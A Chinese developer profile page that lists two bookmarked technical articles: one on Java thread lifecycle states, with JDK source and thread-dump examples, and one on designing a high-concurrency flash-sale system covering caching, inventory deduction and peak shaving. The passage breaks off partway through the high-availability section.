h2so

h2so 查看完整档案

上海编辑上海电机学院  |  软件工程 编辑大搜车  |  Java开发工程师 编辑 www.h2so.net 编辑
编辑

行若无事 汝心所向 梦之彼方

个人动态

h2so 收藏了文章 · 2020-03-20

Java 并发编程 ② - 线程生命周期与状态流转

原文地址:Java 并发编程 ② - 线程生命周期与状态流转

转载请注明出处!

前言

往期文章:

继上一篇结尾讲的,这一篇文章主要是讲线程的生命周期以及状态流转。主要内容有:

  • Java 中对线程状态的定义,与操作系统线程状态的对比
  • 线程状态的流转图
  • 如何自己验证状态的流转

一、Java 线程的状态

先来谈一谈Java 中线程的状态。在 java.lang.Thread.State 类是 Thread的内部枚举类,在里面定义了Java 线程的六个状态,-注释信息也非常的详细。

    public enum State {
        
        /**
         * Thread state for a thread which has not yet started.
         * 初始态,代表线程刚创建出来,但是还没有 start 的状态
         */
        NEW,

        /**
         * Thread state for a runnable thread.  A thread in the runnable
         * state is executing in the Java virtual machine but it may
         * be waiting for other resources from the operating system
         * such as processor.
         * 
         * 运行态,代表线程正在运行或者等待操作系统资源,如CPU资源
         */
        RUNNABLE,

        /**
         * Thread state for a thread blocked waiting for a monitor lock.
         * A thread in the blocked state is waiting for a monitor lock
         * to enter a synchronized block/method or
         * reenter a synchronized block/method after calling
         * {@link Object#wait() Object.wait}.
         * 
         * 阻塞态,代表线程正在等待一个监视器锁(即我们常说的synchronized)
         * 或者是在调用了Object.wait之后被notify()重新进入synchronized代码块
         */
        BLOCKED,

        /**
         * Thread state for a waiting thread.
         * A thread is in the waiting state due to calling one of the
         * following methods:
         * <ul>
         *   <li>{@link Object#wait() Object.wait} with no timeout</li>
         *   <li>{@link #join() Thread.join} with no timeout</li>
         *   <li>{@link LockSupport#park() LockSupport.park}</li>
         * </ul>
         *
         * <p>A thread in the waiting state is waiting for another thread to
         * perform a particular action.
         *
         * For example, a thread that has called <tt>Object.wait()</tt>
         * on an object is waiting for another thread to call
         * <tt>Object.notify()</tt> or <tt>Object.notifyAll()</tt> on
         * that object. A thread that has called <tt>Thread.join()</tt>
         * is waiting for a specified thread to terminate.
         * 
         * 等待态,调用以下方法会进入等待状态:
         * 1. 调用不会超时的Object.wait()方法
         * 2. 调用不会超时的Thread.join()方法
         * 3. 调用不会超时的LockSupport.park()方法
         */
        WAITING,

        /**
         * Thread state for a waiting thread with a specified waiting time.
         * A thread is in the timed waiting state due to calling one of
         * the following methods with a specified positive waiting time:
         * <ul>
         *   <li>{@link #sleep Thread.sleep}</li>
         *   <li>{@link Object#wait(long) Object.wait} with timeout</li>
         *   <li>{@link #join(long) Thread.join} with timeout</li>
         *   <li>{@link LockSupport#parkNanos LockSupport.parkNanos}</li>
         *   <li>{@link LockSupport#parkUntil LockSupport.parkUntil}</li>
         * </ul>
         * 
         * 超时等待态,在调用了以下方法后会进入超时等待状态
         * 1. Thread.sleep()方法后
         * 2. Object.wait(timeout)方法
         * 3. Thread.join(timeout)方法
         * 4. LockSupport.parkNanos(nanos)方法
         * 5. LockSupport.parkUntil(deadline)方法
         */
        TIMED_WAITING,

        /**
         * Thread state for a terminated thread.
         * The thread has completed execution.
         * 
         * 终止态,代表线程已经执行完毕
         */
        TERMINATED;
    }

关于上面JDK源码中对于BLOCKED状态的注释,这里有一点需要补充的,就是如果是线程调用了Object.wait(timeout)方法进入TIMED_WAITING状态之后,如果是因为超过指定时间,脱离TIMED_WAITING状态,如果接下去线程是要重新进入synchronize 代码块的话,也是会先进入等待队列,变成BLOCKED状态,然后请求监视器锁资源。

1.1 操作系统中的线程状态

再来看,操作系统层面,线程存在五类状态,状态的流转关系可以参考下面的这张图。

可以看到,Java 中所说的线程状态和操作系统层面的线程状态是不太一样的。

  • Java 中的 RUNNABLE 其实包含了OS中的RUNNINGREADY
  • Java 中的WAITINGTIMED_WAITINGBLOCKED其实是对OS中WAITING状态的一个更细致的划分

Thread.State源码中也写了这么一句话:

These states are virtual machine states which do not reflect any operating system thread states.

这些状态只是线程在虚拟机中的状态,并不反映操作系统的线程状态

对于这两个层面对比,你需要知道的是,Java的线程状态是服务于虚拟机的。从这个角度来考虑的话,把底层OS中的RUNNINGREADY状态映射上来也没多大意义,因此,统一成为RUNNABLE 状态是不错的选择,而对WAITING状态更细致的划分,也是出于这么一个考虑。

二、状态流转图

图很详细,结合前面的内容一起食用。

关于阻塞状态,这里还要多说几句话,我们上面说的,都是在JVM 代码层面的实际线程状态。但是在一些书比如《码出高效》中,会把Java 线程的阻塞状态分为:

  • 同步阻塞:即锁被其他线程占用
  • 主动阻塞:指调用了Thread 的某些方法,主动让出CPU执行权,比如sleep()、join()等
  • 等待阻塞:执行了wait()系列方法

三、测试

这里演示一下,如何在IDEA 上面来验证上述的状态流转。有疑问或者有兴趣的读者可以按照同样的方法来验证。

我这里想要用代码验证下面的情况,

就是如果是线程1调用了Object.wait(timeout)方法进入TIMED_WAITING状态之后,如果是因为超过指定时间,脱离TIMED_WAITING状态,如果接下去线程是要重新进入synchronize 代码块的话,也是会先进入等待队列,变成BLOCKED状态,然后请求监视器锁资源。
public class ThreadLifeTempTest {

    public static void main(String[] args) {
        Object object = new Object();

        new Thread(()->{
            synchronized (object) {
                try {
                    System.out.println("thread1 waiting");
                    // 等待10s,进入Timed_Waiting
                    // 10s 后会进入Blocked,获取object的监视器锁
                    object.wait(10000);
                    System.out.println("thread1 after waiting");
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }
        }, "Thread1").start();

        new Thread(()->{
            synchronized (object) {
                try {
                    // sleep也不会释放锁,所以thread1 不会获取到锁
                    Thread.sleep(10000000);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }
        }, "Thread2").start();
    }
}

使用IDEA的RUN模式运行代码,然后点击左边的一个摄像头按钮(dump thread),查看各线程的状态。

在Thread 1 等待 10s中时,dump的结果:Thread 1和Thread 2都处于 TIMED_WAITING状态,

"Thread2" #13 prio=5 os_prio=0 tid=0x0000000020196800 nid=0x65b8 waiting on condition [0x0000000020afe000]
   java.lang.Thread.State: TIMED_WAITING (sleeping)
    at java.lang.Thread.sleep(Native Method)
    at main.java.concurrent.thread.ThreadLifeTempTest.lambda$main$1(ThreadLifeTempTest.java:33)
    - locked <0x000000076b71c748> (a java.lang.Object)
    at main.java.concurrent.thread.ThreadLifeTempTest$$Lambda$2/1096979270.run(Unknown Source)
    at java.lang.Thread.run(Thread.java:748)

"Thread1" #12 prio=5 os_prio=0 tid=0x0000000020190800 nid=0x25fc in Object.wait() [0x00000000209ff000]
   java.lang.Thread.State: TIMED_WAITING (on object monitor)
    at java.lang.Object.wait(Native Method)
    - waiting on <0x000000076b71c748> (a java.lang.Object)
    at main.java.concurrent.thread.ThreadLifeTempTest.lambda$main$0(ThreadLifeTempTest.java:21)
    - locked <0x000000076b71c748> (a java.lang.Object)
    at main.java.concurrent.thread.ThreadLifeTempTest$$Lambda$1/1324119927.run(Unknown Source)
    at java.lang.Thread.run(Thread.java:748)

在Thread 1 等待 10s之后,Thread 1重新进入synchronize 代码块,进入等待队列,变成BLOCKED状态

"Thread2" #13 prio=5 os_prio=0 tid=0x0000000020196800 nid=0x65b8 waiting on condition [0x0000000020afe000]
   java.lang.Thread.State: TIMED_WAITING (sleeping)
    at java.lang.Thread.sleep(Native Method)
    at main.java.concurrent.thread.ThreadLifeTempTest.lambda$main$1(ThreadLifeTempTest.java:33)
    - locked <0x000000076b71c748> (a java.lang.Object)
    at main.java.concurrent.thread.ThreadLifeTempTest$$Lambda$2/1096979270.run(Unknown Source)
    at java.lang.Thread.run(Thread.java:748)

"Thread1" #12 prio=5 os_prio=0 tid=0x0000000020190800 nid=0x25fc waiting for monitor entry [0x00000000209ff000]
   java.lang.Thread.State: BLOCKED (on object monitor)
    at java.lang.Object.wait(Native Method)
    - waiting on <0x000000076b71c748> (a java.lang.Object)
    at main.java.concurrent.thread.ThreadLifeTempTest.lambda$main$0(ThreadLifeTempTest.java:21)
    - locked <0x000000076b71c748> (a java.lang.Object)
    at main.java.concurrent.thread.ThreadLifeTempTest$$Lambda$1/1324119927.run(Unknown Source)
    at java.lang.Thread.run(Thread.java:748)

小结

在本篇文章中,主要讲解了线程的生命周期,各个状态以及状态流转。如果对线程状态的变化还有不了解的,可以借助最后一部分的测试方法来实际验证,帮助理解。

下一章,内容是介绍ThreadLocal 和 InheritableThreadLocal 的用法和原理,感兴趣请持续关注。

如果本文有帮助到你,希望能点个赞,这是对我的最大动力????。

参考

查看原文

h2so 收藏了文章 · 2019-11-13

一个秒杀系统的设计思考

前言

秒杀大家都不陌生。自2011年首次出现以来,无论是双十一购物还是 12306 抢票,秒杀场景已随处可见。简单来说,秒杀就是在同一时刻大量请求争抢购买同一商品并完成交易的过程。从架构视角来看,秒杀系统本质是一个高性能、高一致、高可用的三高系统。而打造并维护一个超大流量的秒杀系统需要进行哪些关注,就是本文讨论的话题。

整体思考

1 秒杀存在的问题

对于一个日常平稳的业务系统,如果直接开通秒杀功能的话,往往会出现很多问题——

干系人问题分类业务出现的问题设计要求
用户体验较差秒杀开始,系统瞬间承受平时数十倍甚至上百倍的流量,直接宕掉高性能
用户下单后却付不了款,显示商品已经被其他人买走了一致性
商家商品超卖100 件商品,却出现 200 人下单成功,成功下单买到商品的人数远远超过活动商品数量的上限一致性
资金受损竞争对手通过恶意下单的方式将活动商品全部下单,导致库存清零,商家无法正常售卖高可用
秒杀器猖獗,黄牛通过秒杀器扫货,商家无法达到营销目的高可用
平台风险不可控系统的其它与秒杀活动不相关的模块变得异常缓慢,业务影响面扩散高可用
拖垮网站在线人数创新高,核心链路涉及的上下游服务从前到后都在告警高性能
库存只有一份,所有请求集中读写同一个数据,DB 出现单点高性能

2 设计方向的思考

秒杀本质是要求一个瞬时高发下的承压系统,这也是其区别于其他业务的核心场景。对日常系统秒杀产生的问题逐一进行拆解分类,秒杀对应到架构设计,其实就是高可用、一致性和高性能的要求。关于秒杀系统的设计思考,本文即基于此 3 层依次推进,简述如下——

  • 高性能。 秒杀涉及高读和高写的支持,如何支撑高并发,如何抵抗高IOPS?核心优化理念其实是类似的:高读就尽量"少读"或"读少",高写就数据拆分。本文将从动静分离、热点优化以及服务端性能优化 3 个方面展开
  • 一致性。 秒杀的核心关注是商品库存,有限的商品在同一时间被多个请求同时扣减,而且要保证准确性,显而易见是一个难题。如何做到既不多又不少?本文将从业界通用的几种减库存方案切入,讨论一致性设计的核心逻辑
  • 高可用。 大型分布式系统在实际运行过程中面对的工况是非常复杂的,业务流量的突增、依赖服务的不稳定、应用自身的瓶颈、物理资源的损坏等方方面面都会对系统的运行带来大大小小的的冲击。如何保障应用在复杂工况环境下还能高效稳定运行,如何预防和面对突发问题,系统设计时应该从哪些方面着手?本文将从架构落地的全景视角进行关注思考

高性能

1 动静分离

大家可能会注意到,秒杀过程中你是不需要刷新整个页面的,只有时间在不停跳动。这是因为一般都会对大流量的秒杀系统做系统的静态化改造,即数据意义上的动静分离。动静分离三步走:1、数据拆分;2、静态缓存;3、数据整合。

1.1 数据拆分

动静分离的首要目的是将动态页面改造成适合缓存的静态页面。因此第一步就是分离出动态数据,主要从以下 2 个方面进行:

  1. 用户。用户身份信息包括登录状态以及登录画像等,相关要素可以单独拆分出来,通过动态请求进行获取;与之相关的广平推荐,如用户偏好、地域偏好等,同样可以通过异步方式进行加载
  2. 时间。秒杀时间是由服务端统一管控的,可以通过动态请求进行获取

这里你可以打开电商平台的一个秒杀页面,看看这个页面里都有哪些动静数据。

1.2 静态缓存

分离出动静态数据之后,第二步就是将静态数据进行合理的缓存,由此衍生出两个问题:1、怎么缓存;2、哪里缓存

1.2.1 怎么缓存

静态化改造的一个特点是直接缓存整个 HTTP 连接而不是仅仅缓存静态数据,如此一来,Web 代理服务器根据请求 URL,可以直接取出对应的响应体然后直接返回,响应过程无需重组 HTTP 协议,也无需解析 HTTP 请求头。而作为缓存键,URL唯一化是必不可少的,只是对于商品系统,URL 天然是可以基于商品 ID 来进行唯一标识的,比如淘宝的 https://item.taobao.com/item....

1.2.2 哪里缓存

静态数据缓存到哪里呢?可以有三种方式:1、浏览器;2、CDN ;3、服务端。

浏览器当然是第一选择,但用户的浏览器是不可控的,主要体现在如果用户不主动刷新,系统很难主动地把消息推送给用户(注意,当讨论静态数据时,潜台词是 “相对不变”,言外之意是 “可能会变”),如此可能会导致用户端在很长一段时间内看到的信息都是错误的。对于秒杀系统,保证缓存可以在秒级时间内失效是不可或缺的。

服务端主要进行动态逻辑计算及加载,本身并不擅长处理大量连接,每个连接消耗内存较多,同时 Servlet 容器解析 HTTP 较慢,容易侵占逻辑计算资源;另外,静态数据下沉至此也会拉长请求路径。

因此通常将静态数据缓存在 CDN,其本身更擅长处理大并发的静态文件请求,既可以做到主动失效,又离用户尽可能近,同时规避 Java 语言层面的弱点。需要注意的是,上 CDN 有以下几个问题需要解决:

  1. 失效问题。任何一个缓存都应该是有时效的,尤其对于一个秒杀场景。所以,系统需要保证全国各地的 CDN 在秒级时间内失效掉缓存信息,这实际对 CDN 的失效系统要求是很高的
  2. 命中率问题。高命中是缓存系统最为核心的性能要求,不然缓存就失去了意义。如果将数据放到全国各地的 CDN ,势必会导致请求命中同一个缓存的可能性降低,那么命中率就成为一个问题

因此,将数据放到全国所有的 CDN 节点是不太现实的,失效问题、命中率问题都会面临比较大的挑战。更为可行的做法是选择若干 CDN 节点进行静态化改造,节点的选取通常需要满足以下几个条件:

  1. 临近访问量集中的地区
  2. 距离主站较远的地区
  3. 节点与主站间网络质量良好的地区

基于以上因素,选择 CDN 的二级缓存比较合适,因为二级缓存数量偏少,容量也更大,访问量相对集中,这样就可以较好解决缓存的失效问题以及命中率问题,是当前比较理想的一种 CDN 化方案。部署方式如下图所示:
image.png

1.3 数据整合

分离出动静态数据之后,前端如何组织数据页就是一个新的问题,主要在于动态数据的加载处理,通常有两种方案:ESI(Edge Side Includes)方案和 CSI(Client Side Include)方案。

  1. ESI 方案:Web 代理服务器上请求动态数据,并将动态数据插入到静态页面中,用户看到页面时已经是一个完整的页面。这种方式对服务端性能要求高,但用户体验较好
  2. CSI 方案:Web 代理服务器上只返回静态页面,前端单独发起一个异步 JS 请求动态数据。这种方式对服务端性能友好,但用户体验稍差

1.4 小结

动静分离对于性能的提升,抽象起来只有两点,一是数据要尽量少,以便减少没必要的请求,二是路径要尽量短,以便提高单次请求的效率。具体方法其实就是基于这个大方向进行的。

2 热点优化

热点分为热点操作和热点数据,以下分开进行讨论。

2.1 热点操作

零点刷新、零点下单、零点添加购物车等都属于热点操作。热点操作是用户的行为,不好改变,但可以做一些限制保护,比如用户频繁刷新页面时进行提示阻断。

2.2 热点数据

热点数据的处理三步走,一是热点识别,二是热点隔离,三是热点优化。

2.2.1 热点识别

热点数据分为静态热点和动态热点,具体如下:

  1. 静态热点:能够提前预测的热点数据。大促前夕,可以根据大促的行业特点、活动商家等纬度信息分析出热点商品,或者通过卖家报名的方式提前筛选;另外,还可以通过技术手段提前预测,例如对买家每天访问的商品进行大数据计算,然后统计出 TOP N 的商品,即可视为热点商品
  2. 动态热点:无法提前预测的热点数据。冷热数据往往是随实际业务场景发生交替变化的,尤其是如今直播卖货模式的兴起——带货商临时做一个广告,就有可能导致一件商品在短时间内被大量购买。由于此类商品日常访问较少,即使在缓存系统中一段时间后也会被逐出或过期掉,甚至在db中也是冷数据。瞬时流量的涌入,往往导致缓存被击穿,请求直接到达DB,引发DB压力过大

因此秒杀系统需要实现热点数据的动态发现能力,一个常见的实现思路是:

  1. 异步采集交易链路各个环节的热点 Key 信息,如 Nginx采集访问URL或 Agent 采集热点日志(一些中间件本身已具备热点发现能力),提前识别潜在的热点数据
  2. 聚合分析热点数据,达到一定规则的热点数据,通过订阅分发推送到链路系统,各系统根据自身需求决定如何处理热点数据,或限流或缓存,从而实现热点保护

需要注意的是:

  1. 热点数据采集最好采用异步方式,一方面不会影响业务的核心交易链路,一方面可以保证采集方式的通用性
  2. 热点发现最好做到秒级实时,这样动态发现才有意义,实际上也是对核心节点的数据采集和分析能力提出了较高的要求

2.2.2 热点隔离

热点数据识别出来之后,第一原则就是将热点数据隔离出来,不要让 1% 影响到另外的 99%,可以基于以下几个层次实现热点隔离:

  1. 业务隔离。秒杀作为一种营销活动,卖家需要单独报名,从技术上来说,系统可以提前对已知热点做缓存预热
  2. 系统隔离。系统隔离是运行时隔离,通过分组部署和另外 99% 进行分离,另外秒杀也可以申请单独的域名,入口层就让请求落到不同的集群中
  3. 数据隔离。秒杀数据作为热点数据,可以启用单独的缓存集群或者DB服务组,从而更好的实现横向或纵向能力扩展

当然,实现隔离还有很多种办法。比如,可以按照用户来区分,为不同的用户分配不同的 Cookie,入口层路由到不同的服务接口中;再比如,域名保持一致,但后端调用不同的服务接口;又或者在数据层给数据打标进行区分等等,这些措施的目的都是把已经识别的热点请求和普通请求区分开来。

2.2.3 热点优化

热点数据隔离之后,也就方便对这 1% 的请求做针对性的优化,方式无外乎两种:

  1. 缓存:热点缓存是最为有效的办法。如果热点数据做了动静分离,那么可以长期缓存静态数据
  2. 限流:流量限制更多是一种保护机制。需要注意的是,各服务要时刻关注请求是否触发限流并及时进行review

2.2.4 小结

数据的热点优化与动静分离是不一样的,热点优化是基于二八原则对数据进行了纵向拆分,以便进行针对性地处理。热点识别和隔离不仅对“秒杀”这个场景有意义,对其他的高性能分布式系统也非常有参考价值。

3 系统优化

对于一个软件系统,提高性能可以有很多种手段,如提升硬件水平、调优JVM 性能,这里主要关注代码层面的性能优化——

  1. 减少序列化:减少 Java 中的序列化操作可以很好的提升系统性能。序列化大部分是在 RPC 阶段发生,因此应该尽量减少 RPC 调用,一种可行的方案是将多个关联性较强的应用进行 “合并部署”,从而减少不同应用之间的 RPC 调用(微服务设计规范)
  2. 直接输出流数据:只要涉及字符串的I/O操作,无论是磁盘 I/O 还是网络 I/O,都比较耗费 CPU 资源,因为字符需要转换成字节,而这个转换又必须查表编码。所以对于常用数据,比如静态字符串,推荐提前编码成字节并缓存,具体到代码层面就是通过 OutputStream() 类函数从而减少数据的编码转换;另外,热点方法toString()不要直接调用ReflectionToString实现,推荐直接硬编码,并且只打印DO的基础要素和核心要素
  3. 裁剪日志异常堆栈:无论是外部系统异常还是应用本身异常,都会有堆栈打出,超大流量下,频繁的输出完整堆栈,只会加剧系统当前负载。可以通过日志配置文件控制异常堆栈输出的深度
  4. 去组件框架:极致优化要求下,可以去掉一些组件框架,比如去掉传统的 MVC 框架,直接使用 Servlet 处理请求。这样可以绕过一大堆复杂且用处不大的处理逻辑,节省毫秒级的时间,当然,需要合理评估你对框架的依赖程度

4 总结一下

性能优化需要一个基准值,所以系统还需要做好应用基线,比如性能基线(何时性能突然下降)、成本基线(去年大促用了多少机器)、链路基线(核心流程发生了哪些变化),通过基线持续关注系统性能,促使系统在代码层面持续提升编码质量、业务层面及时下掉不合理调用、架构层面不断优化改进。

一致性

秒杀系统中,库存是个关键数据,卖不出去是个问题,超卖更是个问题。秒杀场景下的一致性问题,主要就是库存扣减的准确性问题。

1 减库存的方式

电商场景下的购买过程一般分为两步:下单和付款。“提交订单”即为下单,“支付订单”即为付款。基于此设定,减库存一般有以下几个方式:

  1. 下单减库存。买家下单后,扣减商品库存。下单减库存是最简单的减库存方式,也是控制最为精确的一种
  2. 付款减库存。买家下单后,并不立即扣减库存,而是等到付款后才真正扣减库存。但因为付款时才减库存,如果并发比较高,可能出现买家下单后付不了款的情况,因为商品已经被其他人买走了
  3. 预扣库存。这种方式相对复杂一些,买家下单后,库存为其保留一定的时间(如 15 分钟),超过这段时间,库存自动释放,释放后其他买家可以购买

能够看到,减库存方式是基于购物过程的多阶段进行划分的,但无论是在下单阶段还是付款阶段,都会存在一些问题,下面进行具体分析。

2 减库存的问题

2.1 下单减库存

优势:用户体验最好。下单减库存是最简单的减库存方式,也是控制最精确的一种。下单时可以直接通过数据库事务机制控制商品库存,所以一定不会出现已下单却付不了款的情况。

劣势:可能卖不出去。正常情况下,买家下单后付款概率很高,所以不会有太大问题。但有一种场景例外,就是当卖家参加某个促销活动时,竞争对手通过恶意下单的方式将该商品全部下单,导致库存清零,那么这就不能正常售卖了——要知道,恶意下单的人是不会真正付款的,这正是 “下单减库存” 的不足之处。

2.2 付款减库存

优势:一定实际售卖。“下单减库存” 可能导致恶意下单,从而影响卖家的商品销售, “付款减库存” 由于需要付出真金白银,可以有效避免。

劣势:用户体验较差。用户下单后,不一定会实际付款,假设有 100 件商品,就可能出现 200 人下单成功的情况,因为下单时不会减库存,所以也就可能出现下单成功数远远超过真正库存数的情况,这尤其会发生在大促的热门商品上。如此一来就会导致很多买家下单成功后却付不了款,购物体验自然是比较差的。

2.3 预扣库存

优势:缓解了以上两种方式的问题。预扣库存实际就是“下单减库存”和 “付款减库存”两种方式的结合,将两次操作进行了前后关联,下单时预扣库存,付款时释放库存。

劣势:并没有彻底解决以上问题。比如针对恶意下单的场景,虽然可以把有效付款时间设置为 10 分钟,但恶意买家完全可以在 10 分钟之后再次下单。

2.4 小结

减库存的问题主要体现在用户体验和商业诉求两方面,其本质原因在于购物过程存在两步甚至多步操作,在不同阶段减库存,容易存在被恶意利用的漏洞。

3 实际如何减库存

业界最为常见的是预扣库存。无论是外卖点餐还是电商购物,下单后一般都有个 “有效付款时间”,超过该时间订单自动释放,这就是典型的预扣库存方案。但如上所述,预扣库存还需要解决恶意下单的问题,保证商品卖的出去;另一方面,如何避免超卖,也是一个痛点。

  1. 卖的出去:恶意下单的解决方案主要还是结合安全和反作弊措施来制止。比如,识别频繁下单不付款的买家并进行打标,这样可以在打标买家下单时不减库存;再比如为大促商品设置单人最大购买件数,一人最多只能买 N 件商品;又或者对重复下单不付款的行为进行次数限制阻断等
  2. 避免超卖:库存超卖的情况实际分为两种。对于普通商品,秒杀只是一种大促手段,即使库存超卖,商家也可以通过补货来解决;而对于一些商品,秒杀作为一种营销手段,完全不允许库存为负,也就是在数据一致性上,需要保证大并发请求时数据库中的库存字段值不能为负,一般有多种方案:一是在通过事务来判断,即保证减后库存不能为负,否则就回滚;二是直接设置数据库字段类型为无符号整数,这样一旦库存为负就会在执行 SQL 时报错;三是使用 CASE WHEN 判断语句——
UPDATE item SET inventory = CASE WHEN inventory >= xxx THEN inventory-xxx ELSE inventory END

业务手段保证商品卖的出去,技术手段保证商品不会超卖,库存问题从来就不是简单的技术难题,解决问题的视角是多种多样的。

4 一致性性能的优化

库存是个关键数据,更是个热点数据。对系统来说,热点的实际影响就是 “高读” 和 “高写”,也是秒杀场景下最为核心的一个技术难题。

4.1 高并发读

秒杀场景解决高并发读问题,关键词是“分层校验”。即在读链路时,只进行不影响性能的检查操作,如用户是否具有秒杀资格、商品状态是否正常、用户答题是否正确、秒杀是否已经结束、是否非法请求等,而不做一致性校验等容易引发瓶颈的检查操作;直到写链路时,才对库存做一致性检查,在数据层保证最终准确性。

因此,在分层校验设定下,系统可以采用分布式缓存甚至LocalCache来抵抗高并发读。即允许读场景下一定的脏数据,这样只会导致少量原本无库存的下单请求被误认为是有库存的,等到真正写数据时再保证最终一致性,由此做到高可用和一致性之间的平衡。

实际上,分层校验的核心思想是:不同层次尽可能过滤掉无效请求,只在“漏斗” 最末端进行有效处理,从而缩短系统瓶颈的影响路径。

4.2 高并发写

高并发写的优化方式,一种是更换DB选型,一种是优化DB性能,以下分别进行讨论。

4.2.1 更换DB选型

秒杀商品和普通商品的减库存是有差异的,核心区别在数据量级小、交易时间短,因此能否把秒杀减库存直接放到缓存系统中实现呢,也就是直接在一个带有持久化功能的缓存中进行减库存操作,比如 Redis?

如果减库存逻辑非常单一的话,比如没有复杂的 SKU 库存和总库存这种联动关系的话,个人认为是完全可以的。但如果有比较复杂的减库存逻辑,或者需要使用到事务,那就必须在数据库中完成减库存操作。

4.2.2 优化DB性能

库存数据落地到数据库实现其实是一行存储(MySQL),因此会有大量线程来竞争 InnoDB 行锁。但并发越高,等待线程就会越多,TPS 下降,RT 上升,吞吐量会受到严重影响——注意,这里假设数据库已基于上文【性能优化】完成数据隔离,以便于讨论聚焦 。

解决并发锁的问题,有两种办法:

  1. 应用层排队。通过缓存加入集群分布式锁,从而控制集群对数据库同一行记录进行操作的并发度,同时也能控制单个商品占用数据库连接的数量,防止热点商品占用过多的数据库连接
  2. 数据层排队。应用层排队是有损性能的,数据层排队是最为理想的。业界中,阿里的数据库团队开发了针对InnoDB 层上的补丁程序(patch),可以基于DB层对单行记录做并发排队,从而实现秒杀场景下的定制优化——注意,排队和锁竞争是有区别的,如果熟悉 MySQL 的话,就会知道 InnoDB 内部的死锁检测,以及 MySQL Server 和 InnoDB 的切换都是比较消耗性能的。另外阿里的数据库团队还做了很多其他方面的优化,如 COMMIT_ON_SUCCESS 和 ROLLBACK_ON_FAIL 的补丁程序,通过在 SQL 里加入提示(hint),实现事务不需要等待实时提交,而是在数据执行完最后一条 SQL 后,直接根据 TARGET_AFFECT_ROW 的结果进行提交或回滚,减少网络等待的时间(毫秒级)。目前阿里已将包含这些补丁程序的 MySQL 开源:AliSQL

4.3 小结

高读和高写的两种处理方式大相径庭。读请求的优化空间要大一些,而写请求的瓶颈一般都在存储层,优化思路的本质还是基于 CAP 理论做平衡。

5 总结一下

当然,减库存还有很多细节问题,例如预扣的库存超时后如何进行回补,再比如第三方支付如何保证减库存和付款时的状态一致性,这些也是很大的挑战。

高可用

盯过秒杀流量监控的话,会发现它不是一条蜿蜒而起的曲线,而是一条挺拔的直线,这是因为秒杀请求高度集中于某一特定的时间点。这样一来就会造成一个特别高的零点峰值,而对资源的消耗也几乎是瞬时的。所以秒杀系统的可用性保护是不可或缺的。

1 流量削峰

对于秒杀的目标场景,最终能够抢到商品的人数是固定的,无论 100 人和 10000 人参加结果都是一样的,即有效请求额度是有限的。并发度越高,无效请求也就越多。但秒杀作为一种商业营销手段,活动开始之前是希望有更多的人来刷页面,只是真正开始后,秒杀请求不是越多越好。因此系统可以设计一些规则,人为的延缓秒杀请求,甚至可以过滤掉一些无效请求。

1.1 答题

早期秒杀只是简单的点击秒杀按钮,后来才增加了答题。为什么要增加答题呢?主要是通过提升购买的复杂度,达到两个目的:

  1. 防止作弊。早期秒杀器比较猖獗,存在恶意买家或竞争对手使用秒杀器扫货的情况,商家没有达到营销的目的,所以增加答题来进行限制
  2. 延缓请求。零点流量的起效时间是毫秒级的,答题可以人为拉长峰值下单的时长,由之前的 <1s 延长到 <10s。这个时间对于服务端非常重要,会大大减轻高峰期并发压力;另外,由于请求具有先后顺序,答题后置的请求到来时可能已经没有库存了,因此根本无法下单,此阶段落到数据层真正的写也就非常有限了

需要注意的是,答题除了做正确性验证,还需要对提交时间做验证,比如<1s 人为操作的可能性就很小,可以进一步防止机器答题的情况。

答题目前已经使用的非常普遍了,本质是通过在入口层削减流量,从而让系统更好地支撑瞬时峰值。

1.2 排队

最为常见的削峰方案是使用消息队列,通过把同步的直接调用转换成异步的间接推送缓冲瞬时流量。除了消息队列,类似的排队方案还有很多,例如:

  1. 线程池加锁等待
  2. 本地内存蓄洪等待
  3. 本地文件序列化写,再顺序读

排队方式的弊端也是显而易见的,主要有两点:

  1. 请求积压。流量高峰如果长时间持续,达到了队列的水位上限,队列同样会被压垮,这样虽然保护了下游系统,但是和请求直接丢弃也没多大区别
  2. 用户体验。异步推送的实时性和有序性自然是比不上同步调用的,由此可能出现请求先发后至的情况,影响部分敏感用户的购物体验

排队本质是在业务层将一步操作转变成两步操作,从而起到缓冲的作用,但鉴于此种方式的弊端,最终还是要基于业务量级和秒杀场景做出妥协和平衡。

1.3 过滤

过滤的核心结构在于分层,通过在不同层次过滤掉无效请求,达到数据读写的精准触发。常见的过滤主要有以下几层:

1、读限流:对读请求做限流保护,将超出系统承载能力的请求过滤掉
2、读缓存:对读请求做数据缓存,将重复的请求过滤掉
3、写限流:对写请求做限流保护,将超出系统承载能力的请求过滤掉
4、写校验:对写请求做一致性校验,只保留最终的有效数据

过滤的核心目的是通过减少无效请求的数据IO保障有效请求的IO性能。

1.4 小结

系统可以通过入口层的答题、业务层的排队、数据层的过滤达到流量削峰的目的,本质是在寻求商业诉求与架构性能之间的平衡。另外,新的削峰手段也层出不穷,以业务切入居多,比如零点大促时同步发放优惠券或发起抽奖活动,将一部分流量分散到其他系统,这样也能起到削峰的作用。

2 Plan B

当一个系统面临持续的高峰流量时,其实是很难单靠自身调整来恢复状态的,日常运维没有人能够预估所有情况,意外总是无法避免。尤其在秒杀这一场景下,为了保证系统的高可用,必须设计一个 Plan B 方案来进行兜底。

高可用建设,其实是一个系统工程,贯穿在系统建设的整个生命周期。
image.png

具体来说,系统的高可用建设涉及架构阶段、编码阶段、测试阶段、发布阶段、运行阶段,以及故障发生时,逐一进行分析:

  1. 架构阶段:考虑系统的可扩展性和容错性,避免出现单点问题。例如多地单元化部署,即使某个IDC甚至地市出现故障,仍不会影响系统运转
  2. 编码阶段:保证代码的健壮性,例如RPC调用时,设置合理的超时退出机制,防止被其他系统拖垮,同时也要对无法预料的返回错误进行默认的处理
  3. 测试阶段:保证CI的覆盖度以及Sonar的容错率,对基础质量进行二次校验,并定期产出整体质量的趋势报告
  4. 发布阶段:系统部署最容易暴露错误,因此要有前置的checklist模版、中置的上下游周知机制以及后置的回滚机制
  5. 运行阶段:系统多数时间处于运行态,最重要的是运行时的实时监控,及时发现问题、准确报警并能提供详细数据,以便排查问题
  6. 故障发生:首要目标是及时止损,防止影响面扩大,然后定位原因、解决问题,最后恢复服务

对于日常运维而言,高可用更多是针对运行阶段而言的,此阶段需要额外进行加强建设,主要有以下几种手段:

  1. 预防:建立常态压测体系,定期对服务进行单点压测以及全链路压测,摸排水位
